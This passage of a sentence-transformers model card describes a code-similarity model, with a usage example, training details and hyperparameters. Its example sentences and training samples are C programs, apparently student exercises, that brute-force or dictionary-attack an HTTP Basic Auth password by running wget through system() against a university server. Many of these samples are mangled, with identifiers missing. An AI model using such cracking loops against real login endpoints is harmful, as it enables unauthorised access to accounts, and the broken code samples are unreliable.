http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
    '#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd=    -nv  -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t  \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The  of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
#         [0.9511, 1.0000, 0.9799],
#         [0.9570, 0.9799, 1.0000]])

Training Details

Training Dataset

Unnamed Dataset

  • Size: 3,081 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 194 tokens
    • mean: 471.45 tokens
    • max: 512 tokens
    • min: 194 tokens
    • mean: 460.74 tokens
    • max: 512 tokens
    • 0: ~99.10%
    • 1: ~0.90%
  • Samples:
    sentence_0 sentence_1 label


    #include
    #include
    #include
    #include
    #define MAX_SIZE 255



    int genchkpwd(char *chararray,char *passwd)
    {
    int i,j,k,success;
    char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];


    strcpy(str1,"wget --http-user= --http-passwd=");
    strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
    strcpy(tempstr,"");



    for(i=0;i<52;i++)
    {
    passwd[0]= chararray[i];
    strcat(tempstr,str1);
    strcat(tempstr,passwd);
    strcat(tempstr,str2);
    printf("SENDING REQUEST AS %s\n",tempstr);
    success=system (tempstr);
    if (success==0)
    return 1;
    else
    strcpy(tempstr,"");
    strcpy(passwd,"");
    }



    for(i=0;i<52;i++)
    {
    passwd[0]= chararray[i];
    for(j=0;j<52;j++)
    {
    passwd[1]=chararray[j];
    strcat(tempstr,str1);
    strcat(tempstr,passwd);
    strcat(tempstr,str2);
    printf("SENDING REQUEST AS %s\n",tempstr);
    success=syste...
    #include
    #include
    #include
    #include
    #include
    #define OneBillion 1e9


    int ()
    { int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
    for (i=0;i<=52;i++)
    {

    for (j=0;j<=52;j++)
    {

    for(k=0;k<=52;k++)

    {
    count++;
    [0] = arr[i];
    [1] = arr[j];
    [2] = arr[k];
    [3] = '\0';


    printf("Checking for the word :%s\n",);
    strcpy(url1 ,"wget --http-user= --http-passwd=");
    strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
    strcat(url1,);
    strcat(url1,url2);


    pass = system(url1);
    if (pass == 0)
    {
    ...
    0
    #include
    #include
    #include
    #include
    #include

    ()
    {
    int i,m,k,count=0;
    FILE* diction;
    FILE* log;
    char s[30];
    char pic[30];
    char add[1000];
    char end[100];
    time_t ,finish;
    double ttime;

    strcpy(add,"wget --http-user= --http-passwd=");
    strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
    diction=fopen("/usr/share/lib/dict/words","r");
    =time(NULL);
    while(fgets(s,100,diction)!=NULL)
    {
    printf("%s\n",s);
    for(m=40,k=0;k<(strlen(s)-1);k++,m++)
    {
    add[m]=s[k];
    }
    add[m++]=' ';
    for(i=0;i<50;i++,m++)
    {
    add[m]=end[i];
    }
    add[m]='\0';

    system(add);
    count++;
    log=fopen("logd","r");
    fgets(pic,100,log);
    printf("%s",pic);
    if(strcmp(pic,"Authorization failed.\n")!=0)
    {
    finish=time(NULL);
    ttime=difftime(,finish);
    printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
    break;
    }
    fclose(log);
    }

    }
    #include
    #include
    #include
    #include
    #include
    #include
    #include



    char* joinMe(char* t, char* t2)
    {
    char* result;
    int length = 0;
    int j = 0;
    int counter = 0;

    length = strlen(t) + strlen(t2) + 1;

    result = malloc(sizeof(char) * length);


    for(j = 0; j {
    result[j] = t[j];
    }


    for(j = strlen(t); j {
    result[j] = t2[counter];
    counter++;
    }


    result[length-1] = '\0';

    return result;
    }


    void check(char** smallcmd)
    {
    int pid = 0;
    int status;


    if( (pid = fork()) == 0)
    {

    execvp(smallcmd[0],smallcmd);
    }
    else
    {

    while(wait(&status) != pid);
    }
    }

    int (void)
    {
    int i = 0, j = 0, k = 0;
    char** smallcmd;
    char* [] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w",
    "x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T",
    "U","V","W","X","Y","Z"};
    int count ...
    0

    # include
    # include
    # include
    # include
    # include

    int ()
    {

    char s[30];
    char c[100];
    char usr[50];
    char url[100];
    char charcopy[200];

    int starting,ending;
    int totaltime;

    FILE* fp;
    FILE* f;

    int i,j,k;

    fp = fopen("/usr/share/lib/dict/words","r");
    strcpy(charcopy, "wget --http-user= --http-passwd=");
    strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");

    starting=time();


    while(!feof(fp))
    {
    j=40;
    fgets(c,30,fp);


    for(i=0;i {
    charcopy[j]=c[i];
    j++;
    }
    charcopy[j-1] = ' ';

    for(i=0;i {
    charcopy[j]=url[i];
    j++;
    }

    charcopy[j] = '\0';

    printf("%s\n",c);
    system(charcopy);

    f = fopen("logfile1","r");

    if(f != (FILE*) NULL)
    {

    fgets(s,30,f);
    if(strcmp(s,"Authorization failed.\n")!=0)
    {
    ending=time();
    totaltime=ending-starti...
    #include
    #include
    #include
    #include

    #define MINSIZE 26
    #define MAXSIZE 52
    #define MAX_SIZE 255


    int CrackPasswd(char *passwd)
    {
    int flag;
    char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];

    strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
    strcpy(string2," --http-user= --http-passwd='");
    strcpy(,"");

    strcat(, string1);
    strcat(, string2);
    strcat(, passwd);
    strcat(, "'");
    printf("Sending Request as %s\n",);
    flag = system();

    if (flag == 0)
    {
    printf("\nPassword is %s\n",passwd);
    return 1;
    }

    strcpy(,"");
    return 0;
    }


    int BruteForce(char *CharArray)
    {
    int i, j, k;
    char passwd[MAX_SIZE];

    for (i=0;i passwd[i] = '\0';

    for(i=0;i {
    passwd[0] = CharArray[i];
    if(CrackPasswd(passwd) == 1)
    return 1;
    }

    for(i=0;i {
    passwd[0] = CharArray[i];
    ...
    0
  • Loss: BatchAllTripletLoss

Training Hyperparameters

Non-Default Hyperparameters

  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • num_train_epochs: 1
  • fp16: True
  • multi_dataset_batch_sampler: round_robin

All Hyperparameters

Click to expand
  • overwrite_output_dir: False
  • do_predict: False
  • eval_strategy: no
  • prediction_loss_only: True
  • per_device_train_batch_size: 16
  • per_device_eval_batch_size: 16
  • per_gpu_train_batch_size: None
  • per_gpu_eval_batch_size: None
  • gradient_accumulation_steps: 1
  • eval_accumulation_steps: None
  • torch_empty_cache_steps: None
  • learning_rate: 5e-05
  • weight_decay: 0.0
  • adam_beta1: 0.9
  • adam_beta2: 0.999
  • adam_epsilon: 1e-08
  • max_grad_norm: 1
  • num_train_epochs: 1
  • max_steps: -1
  • lr_scheduler_type: linear
  • lr_scheduler_kwargs: {}
  • warmup_ratio: 0.0
  • warmup_steps: 0
  • log_level: passive
  • log_level_replica: warning
  • log_on_each_node: True
  • logging_nan_inf_filter: True
  • save_safetensors: True
  • save_on_each_node: False
  • save_only_model: False
  • restore_callback_states_from_checkpoint: False
  • no_cuda: False
  • use_cpu: False
  • use_mps_device: False
  • seed: 42
  • data_seed: None
  • jit_mode_eval: False
  • use_ipex: False
  • bf16: False
  • fp16: True
  • fp16_opt_level: O1
  • half_precision_backend: auto
  • bf16_full_eval: False
  • fp16_full_eval: False
  • tf32: None
  • local_rank: 0
  • ddp_backend: None
  • tpu_num_cores: None
  • tpu_metrics_debug: False
  • debug: []
  • dataloader_drop_last: False
  • dataloader_num_workers: 0
  • dataloader_prefetch_factor: None
  • past_index: -1
  • disable_tqdm: False
  • remove_unused_columns: True
  • label_names: None
  • load_best_model_at_end: False
  • ignore_data_skip: False
  • fsdp: []
  • fsdp_min_num_params: 0
  • fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
  • fsdp_transformer_layer_cls_to_wrap: None
  • accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
  • deepspeed: None
  • label_smoothing_factor: 0.0
  • optim: adamw_torch
  • optim_args: None
  • adafactor: False
  • group_by_length: False
  • length_column_name: length
  • ddp_find_unused_parameters: None
  • ddp_bucket_cap_mb: None
  • ddp_broadcast_buffers: False
  • dataloader_pin_memory: True
  • dataloader_persistent_workers: False
  • skip_memory_metrics: True
  • use_legacy_prediction_loop: False
  • push_to_hub: False
  • resume_from_checkpoint: None
  • hub_model_id: None
  • hub_strategy: every_save
  • hub_private_repo: None
  • hub_always_push: False
  • gradient_checkpointing: False
  • gradient_checkpointing_kwargs: None
  • include_inputs_for_metrics: False
  • include_for_metrics: []
  • eval_do_concat_batches: True
  • fp16_backend: auto
  • push_to_hub_model_id: None
  • push_to_hub_organization: None
  • mp_parameters:
  • auto_find_batch_size: False
  • full_determinism: False
  • torchdynamo: None
  • ray_scope: last
  • ddp_timeout: 1800
  • torch_compile: False
  • torch_compile_backend: None
  • torch_compile_mode: None
  • include_tokens_per_second: False
  • include_num_input_tokens_seen: False
  • neftune_noise_alpha: None
  • optim_target_modules: None
  • batch_eval_metrics: False
  • eval_on_start: False
  • use_liger_kernel: False
  • eval_use_gather_object: False
  • average_tokens_across_devices: False
  • prompts: None
  • batch_sampler: batch_sampler
  • multi_dataset_batch_sampler: round_robin
  • router_mapping: {}
  • learning_rate_mapping: {}

Framework Versions

  • Python: 3.11.13
  • Sentence Transformers: 5.0.0
  • Transformers: 4.52.4
  • PyTorch: 2.6.0+cu124
  • Accelerate: 1.8.1
  • Datasets: 3.6.0
  • Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}